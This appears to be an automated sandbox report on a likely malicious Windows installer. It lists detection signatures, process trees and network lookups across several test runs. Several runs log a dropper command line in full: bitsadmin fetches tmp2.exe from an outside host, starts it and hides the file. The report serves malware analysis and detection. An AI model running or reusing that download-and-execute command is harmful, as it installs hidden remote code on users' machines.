Malware Analysis Report

2024-10-16 05:03

Sample ID 240808-gbhrdazflq
Target fe406692881737403089202847cdd4cf0f0dda0715757f876f4224dce1718581
SHA256 fe406692881737403089202847cdd4cf0f0dda0715757f876f4224dce1718581
Tags
defense_evasion dropper discovery
score
8/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral4

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral5

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral6

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral3

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
8/10

SHA256

fe406692881737403089202847cdd4cf0f0dda0715757f876f4224dce1718581

Threat Level: Likely malicious

The file fe406692881737403089202847cdd4cf0f0dda0715757f876f4224dce1718581 was found to be: Likely malicious.

Malicious Activity Summary

defense_evasion dropper discovery

Download via BitsAdmin

Checks computer location settings

Hide Artifacts: Hidden Files and Directories

Enumerates physical storage devices

Unsigned PE

System Location Discovery: System Language Discovery

NSIS installer

Views/modifies file attributes

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-08-08 05:37

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

NSIS installer

installer
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Analysis: behavioral4

Detonation Overview

Submitted

2024-08-08 05:37

Reported

2024-08-08 05:40

Platform

win10v2004-20240802-en

Max time kernel

125s

Max time network

127s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\information.vbe"

Signatures

Download via BitsAdmin

dropper
Description Indicator Process Target
N/A N/A C:\Windows\system32\bitsadmin.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2170637797-568393320-3232933035-1000\Control Panel\International\Geo\Nation C:\Windows\System32\WScript.exe N/A

Hide Artifacts: Hidden Files and Directories

defense_evasion
Description Indicator Process Target
N/A N/A C:\Windows\System32\cmd.exe N/A

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3796 wrote to memory of 1040 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cscript.exe
PID 3796 wrote to memory of 1040 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cscript.exe
PID 1040 wrote to memory of 3716 N/A C:\Windows\System32\cscript.exe C:\Windows\System32\cmd.exe
PID 1040 wrote to memory of 3716 N/A C:\Windows\System32\cscript.exe C:\Windows\System32\cmd.exe
PID 3716 wrote to memory of 4720 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\bitsadmin.exe
PID 3716 wrote to memory of 4720 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\bitsadmin.exe
PID 3716 wrote to memory of 3600 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\attrib.exe
PID 3716 wrote to memory of 3600 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\attrib.exe

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\attrib.exe N/A

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\information.vbe"

C:\Windows\System32\cscript.exe

"C:\Windows\System32\cscript.exe" "C:\Users\Admin\AppData\Local\Temp\information.vbe"

C:\Windows\System32\cmd.exe

cmd /c bitsadmin /transfer whatever http://testswork.ru/tmp2.exe C:\Users\Admin\AppData\Local\Temp\tmp2.exe && start /b C:\Users\Admin\AppData\Local\Temp\tmp2.exe & attrib +h C:\Users\Admin\AppData\Local\Temp\tmp2.exe

C:\Windows\system32\bitsadmin.exe

bitsadmin /transfer whatever http://testswork.ru/tmp2.exe C:\Users\Admin\AppData\Local\Temp\tmp2.exe

C:\Windows\system32\attrib.exe

attrib +h C:\Users\Admin\AppData\Local\Temp\tmp2.exe

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4448,i,1602949858158667699,12464335823361976127,262144 --variations-seed-version --mojo-platform-channel-handle=4412 /prefetch:8

Network

Country Destination Domain Proto
US 8.8.8.8:53 g.bing.com udp
US 13.107.21.237:443 g.bing.com tcp
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 237.21.107.13.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 68.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 testswork.ru udp
US 81.28.12.12:80 testswork.ru tcp
US 81.28.12.12:443 testswork.ru tcp
US 8.8.8.8:53 12.12.28.81.in-addr.arpa udp
N/A 10.127.0.1:12000 tcp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 31.243.111.52.in-addr.arpa udp
US 8.8.8.8:53 79.190.18.2.in-addr.arpa udp

Files

N/A

Analysis: behavioral5

Detonation Overview

Submitted

2024-08-08 05:37

Reported

2024-08-08 05:40

Platform

win7-20240729-en

Max time kernel

17s

Max time network

76s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\information.vbe"

Signatures

Download via BitsAdmin

dropper
Description Indicator Process Target
N/A N/A C:\Windows\system32\bitsadmin.exe N/A

Hide Artifacts: Hidden Files and Directories

defense_evasion
Description Indicator Process Target
N/A N/A C:\Windows\System32\cmd.exe N/A

Enumerates physical storage devices

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\attrib.exe N/A

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\information.vbe"

C:\Windows\System32\cscript.exe

"C:\Windows\System32\cscript.exe" "C:\Users\Admin\AppData\Local\Temp\information.vbe"

C:\Windows\System32\cmd.exe

cmd /c bitsadmin /transfer whatever http://testswork.ru/tmp2.exe C:\Users\Admin\AppData\Local\Temp\tmp2.exe && start /b C:\Users\Admin\AppData\Local\Temp\tmp2.exe & attrib +h C:\Users\Admin\AppData\Local\Temp\tmp2.exe

C:\Windows\system32\bitsadmin.exe

bitsadmin /transfer whatever http://testswork.ru/tmp2.exe C:\Users\Admin\AppData\Local\Temp\tmp2.exe

C:\Windows\system32\attrib.exe

attrib +h C:\Users\Admin\AppData\Local\Temp\tmp2.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 testswork.ru udp
US 81.28.12.12:80 testswork.ru tcp
US 81.28.12.12:443 testswork.ru tcp

Files

N/A

Analysis: behavioral6

Detonation Overview

Submitted

2024-08-08 05:37

Reported

2024-08-08 05:40

Platform

win10v2004-20240802-en

Max time kernel

149s

Max time network

151s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\information.vbe"

Signatures

Download via BitsAdmin

dropper
Description Indicator Process Target
N/A N/A C:\Windows\system32\bitsadmin.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2718105630-359604950-2820636825-1000\Control Panel\International\Geo\Nation C:\Windows\System32\WScript.exe N/A

Hide Artifacts: Hidden Files and Directories

defense_evasion
Description Indicator Process Target
N/A N/A C:\Windows\System32\cmd.exe N/A

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2440 wrote to memory of 3960 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cscript.exe
PID 2440 wrote to memory of 3960 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\cscript.exe
PID 3960 wrote to memory of 4344 N/A C:\Windows\System32\cscript.exe C:\Windows\System32\cmd.exe
PID 3960 wrote to memory of 4344 N/A C:\Windows\System32\cscript.exe C:\Windows\System32\cmd.exe
PID 4344 wrote to memory of 2472 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\bitsadmin.exe
PID 4344 wrote to memory of 2472 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\bitsadmin.exe
PID 4344 wrote to memory of 4800 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\attrib.exe
PID 4344 wrote to memory of 4800 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\attrib.exe

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\attrib.exe N/A

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\information.vbe"

C:\Windows\System32\cscript.exe

"C:\Windows\System32\cscript.exe" "C:\Users\Admin\AppData\Local\Temp\information.vbe"

C:\Windows\System32\cmd.exe

cmd /c bitsadmin /transfer whatever http://testswork.ru/tmp2.exe C:\Users\Admin\AppData\Local\Temp\tmp2.exe && start /b C:\Users\Admin\AppData\Local\Temp\tmp2.exe & attrib +h C:\Users\Admin\AppData\Local\Temp\tmp2.exe

C:\Windows\system32\bitsadmin.exe

bitsadmin /transfer whatever http://testswork.ru/tmp2.exe C:\Users\Admin\AppData\Local\Temp\tmp2.exe

C:\Windows\system32\attrib.exe

attrib +h C:\Users\Admin\AppData\Local\Temp\tmp2.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 g.bing.com udp
US 13.107.21.237:443 g.bing.com tcp
US 8.8.8.8:53 22.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 237.21.107.13.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 testswork.ru udp
US 81.28.12.12:80 testswork.ru tcp
US 81.28.12.12:443 testswork.ru tcp
US 8.8.8.8:53 12.12.28.81.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
NL 52.111.243.29:443 tcp
US 8.8.8.8:53 14.227.111.52.in-addr.arpa udp

Files

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-08-08 05:37

Reported

2024-08-08 05:40

Platform

win7-20240705-en

Max time kernel

122s

Max time network

123s

Command Line

"C:\Users\Admin\AppData\Local\Temp\fe406692881737403089202847cdd4cf0f0dda0715757f876f4224dce1718581.exe"

Signatures

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\fe406692881737403089202847cdd4cf0f0dda0715757f876f4224dce1718581.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\fe406692881737403089202847cdd4cf0f0dda0715757f876f4224dce1718581.exe

"C:\Users\Admin\AppData\Local\Temp\fe406692881737403089202847cdd4cf0f0dda0715757f876f4224dce1718581.exe"

Network

N/A

Files

N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-08-08 05:37

Reported

2024-08-08 05:40

Platform

win10v2004-20240802-en

Max time kernel

93s

Max time network

150s

Command Line

"C:\Users\Admin\AppData\Local\Temp\fe406692881737403089202847cdd4cf0f0dda0715757f876f4224dce1718581.exe"

Signatures

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\fe406692881737403089202847cdd4cf0f0dda0715757f876f4224dce1718581.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\fe406692881737403089202847cdd4cf0f0dda0715757f876f4224dce1718581.exe

"C:\Users\Admin\AppData\Local\Temp\fe406692881737403089202847cdd4cf0f0dda0715757f876f4224dce1718581.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 72.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 77.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 88.156.103.20.in-addr.arpa udp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 73.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 29.243.111.52.in-addr.arpa udp
US 8.8.8.8:53 240.221.184.93.in-addr.arpa udp

Files

N/A

Analysis: behavioral3

Detonation Overview

Submitted

2024-08-08 05:37

Reported

2024-08-08 05:40

Platform

win7-20240708-en

Max time kernel

122s

Max time network

123s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\information.vbe"

Signatures

Download via BitsAdmin

dropper
Description Indicator Process Target
N/A N/A C:\Windows\system32\bitsadmin.exe N/A

Hide Artifacts: Hidden Files and Directories

defense_evasion
Description Indicator Process Target
N/A N/A C:\Windows\System32\cmd.exe N/A

Enumerates physical storage devices

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\attrib.exe N/A

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\information.vbe"

C:\Windows\System32\cscript.exe

"C:\Windows\System32\cscript.exe" "C:\Users\Admin\AppData\Local\Temp\information.vbe"

C:\Windows\System32\cmd.exe

cmd /c bitsadmin /transfer whatever http://testswork.ru/tmp2.exe C:\Users\Admin\AppData\Local\Temp\tmp2.exe && start /b C:\Users\Admin\AppData\Local\Temp\tmp2.exe & attrib +h C:\Users\Admin\AppData\Local\Temp\tmp2.exe

C:\Windows\system32\bitsadmin.exe

bitsadmin /transfer whatever http://testswork.ru/tmp2.exe C:\Users\Admin\AppData\Local\Temp\tmp2.exe

C:\Windows\system32\attrib.exe

attrib +h C:\Users\Admin\AppData\Local\Temp\tmp2.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 testswork.ru udp
US 81.28.12.12:80 testswork.ru tcp
US 81.28.12.12:443 testswork.ru tcp

Files

N/A